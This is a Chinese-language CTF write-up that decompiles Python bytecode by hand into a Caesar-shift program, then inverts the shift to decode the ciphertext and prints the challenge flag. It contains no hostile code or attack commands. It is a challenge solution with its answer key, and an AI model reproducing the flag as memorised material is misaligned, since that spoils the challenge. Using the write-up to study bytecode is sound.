  3           0 LOAD_CONST               1 (114514)
              2 STORE_FAST               0 (a)

  4           4 LOAD_CONST               2 (1919810)
              6 STORE_FAST               1 (b)

  5           8 LOAD_GLOBAL              0 (print)
             10 LOAD_FAST                0 (a)
             12 LOAD_FAST                1 (b)
             14 BINARY_ADD
             16 CALL_FUNCTION            1
             18 POP_TOP
             20 LOAD_CONST               0 (None)
             22 RETURN_VALUE

分解一下:

  3           0 LOAD_CONST               1 (114514)
              2 STORE_FAST               0 (a)

3 代表字节码对应的源码的行号

0 LOAD_CONST 代表字节码行号和字节码指令

1 (114514) 代表字节码的操作数

连在一起,就是从常量池加载一个序号为0,值为114514的常量。

从符号池加载一个序号为0,值为a的符号,绑定到上一个操作的常量114514,即a=114514

b=1919810同理

  5           8 LOAD_GLOBAL              0 (print)
             10 LOAD_FAST                0 (a)
             12 LOAD_FAST                1 (b)
             14 BINARY_ADD
             16 CALL_FUNCTION            1
             18 POP_TOP
             20 LOAD_CONST               0 (None)
             22 RETURN_VALUE

加载a对应的值,a=114514

加载b对应的值,b=1919810

对二者进行加法运算

因为没有存储计算结果,所以每次运算完没有使用STORE_NAME绑定到某个符号上,就调用了POP_TOP方法将计算结果从堆栈顶部弹出,以保证堆栈平衡。

最后return值自然是没有,因为没有写return xxxx

二、从零开始:字节码到源代码

  3           0 LOAD_CONST               1 (3)
              2 STORE_FAST               0 (key)

  4           4 LOAD_GLOBAL              0 (input)
              6 CALL_FUNCTION            0
              8 STORE_FAST               1 (str)

  5          10 LOAD_FAST                1 (str)
             12 GET_ITER
        >>   14 FOR_ITER                92 (to 108)
             16 STORE_FAST               2 (i)

  6          18 LOAD_FAST                2 (i)
             20 LOAD_METHOD              1 (isupper)
             22 CALL_METHOD              0
             24 POP_JUMP_IF_FALSE       62

  7          26 LOAD_GLOBAL              2 (print)
             28 LOAD_GLOBAL              3 (chr)
             30 LOAD_CONST               2 (65)
             32 LOAD_GLOBAL              4 (ord)
             34 LOAD_FAST                2 (i)
             36 CALL_FUNCTION            1
             38 LOAD_CONST               2 (65)
             40 BINARY_SUBTRACT
             42 LOAD_FAST                0 (key)
             44 BINARY_ADD
             46 LOAD_CONST               3 (26)
             48 BINARY_MODULO
             50 BINARY_ADD
             52 CALL_FUNCTION            1
             54 LOAD_CONST               4 ('')
             56 LOAD_CONST               5 (('end',))
             58 CALL_FUNCTION_KW         2
             60 POP_TOP

  8     >>   62 LOAD_FAST                2 (i)
             64 LOAD_METHOD              5 (islower)
             66 CALL_METHOD              0
             68 POP_JUMP_IF_FALSE       14

  9          70 LOAD_GLOBAL              2 (print)
             72 LOAD_GLOBAL              3 (chr)
             74 LOAD_CONST               6 (97)
             76 LOAD_GLOBAL              4 (ord)
             78 LOAD_FAST                2 (i)
             80 CALL_FUNCTION            1
             82 LOAD_CONST               6 (97)
             84 BINARY_SUBTRACT
             86 LOAD_FAST                0 (key)
             88 BINARY_ADD
             90 LOAD_CONST               3 (26)
             92 BINARY_MODULO
             94 BINARY_ADD
             96 CALL_FUNCTION            1
             98 LOAD_CONST               4 ('')
            100 LOAD_CONST               5 (('end',))
            102 CALL_FUNCTION_KW         2
            104 POP_TOP
            106 JUMP_ABSOLUTE           14
        >>  108 LOAD_CONST               0 (None)
            110 RETURN_VALUE

自然,首先是想有没有现成的工具能直接把字节码反编译成源代码,据我所知没有。有的话务必告诉我

没有工具就只能从头啃了,和上面一样,这部分也会拆开分别进行解析。

但在那之前,首先解决一个小问题:字节码对应的源码的行号为什么不是从1开始?

这是因为前面还有def main():,否则后续出现的变量均为全局变量。局部变量和全局变量在字节码的表示上有略微的差别。防止读者出现误解,我们假定源代码第一行为空,第二行为def main():(相应的,最后也要加上main()调用这个主函数)

3、4:
  3           0 LOAD_CONST               1 (3)
              2 STORE_FAST               0 (key)

  4           4 LOAD_GLOBAL              0 (input)
              6 CALL_FUNCTION            0
              8 STORE_FAST               1 (str)

很简短,也很明了:分别定义key=3,以及使用input函数获取str的值

    key = 3
    str = input()
5:
  5          10 LOAD_FAST                1 (str)
             12 GET_ITER
        >>   14 FOR_ITER                92 (to 108)
             16 STORE_FAST               2 (i)

我们注意到 12 GET_ITER 和 14 FOR_ITER ,以及 14 前的跳转指令(“>>” 符号)

具体内容涉及到可迭代对象、迭代器等知识,这里不做展开(因为我也没怎么学会)。具体内容可参考博客 理解 Python 的 for 循环_小熊猫爱恰饭的博客

我们需要知道的是:在这里创建了一个for遍历,遍历对象为str,从str中取出来的值则定义为i。也就是

for i in str:
    ...
6(8):
  6          18 LOAD_FAST                2 (i)
             20 LOAD_METHOD              1 (isupper)
             22 CALL_METHOD              0
             24 POP_JUMP_IF_FALSE       62

取出了i并使用了isupper()方法,在最后还有 POP_JUMP_IF_FALSE ,不难得知这里进行了i.isupper()判断,根据大小写来决定执行第7行/第9行代码

    if i.isupper():
        ...
7(9):
  7          26 LOAD_GLOBAL              2 (print)
             28 LOAD_GLOBAL              3 (chr)
             30 LOAD_CONST               2 (65)
             32 LOAD_GLOBAL              4 (ord)
             34 LOAD_FAST                2 (i)
             36 CALL_FUNCTION            1
             38 LOAD_CONST               2 (65)
             40 BINARY_SUBTRACT
             42 LOAD_FAST                0 (key)
             44 BINARY_ADD
             46 LOAD_CONST               3 (26)
             48 BINARY_MODULO
             50 BINARY_ADD
             52 CALL_FUNCTION            1
             54 LOAD_CONST               4 ('')
             56 LOAD_CONST               5 (('end',))
             58 CALL_FUNCTION_KW         2
             60 POP_TOP

在这段字节码中:

BINARY_SUBTRACT:相减( - )

BINARY_ADD:相加( + )

BINARY_MODULO:取模( % , mod )

剩下的按照字节码的顺序来就可以了,具体计算顺序可参考下图,每一行字节码都有其对应关系

print(chr(65 + (ord(i) - 65 + key) % 26 ),end='')
汇总:
key = 3
str = input()
for i in str:
    if i.isupper():
        print(chr(65 + (ord(i)-65 + key) % 26 ),end='')
    if i.islower():
        print(chr(97 + (ord(i)-97 + key) % 26 ),end='')

各位可以试着用dis把这段代码变成字节码,结果应该是一样的~

三、再看一眼,这好像是仿射?

没想到吧,这题到最后考的是CRYPTO,还正好是我这次wp的第一题

按照一一对应的关系把字典造出来,再将密文按照字典查表就可以辣

def main(m):
    key = 3
    str = m
    for i in str:
        if i.isupper():
            return chr(65 + (ord(i)-65 + key) % 26 )
        if i.islower():
            return chr(97 + (ord(i)-97 + key) % 26 )
a = {}
for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
    a[main(i)]=i
print(a)

for i in "Sbwkrqlvwkhehvwodqjxdjhlqwkhzruog":
    print(a[i],end='')

s3c{Pythonisthebestlanguageintheworld}

Finish.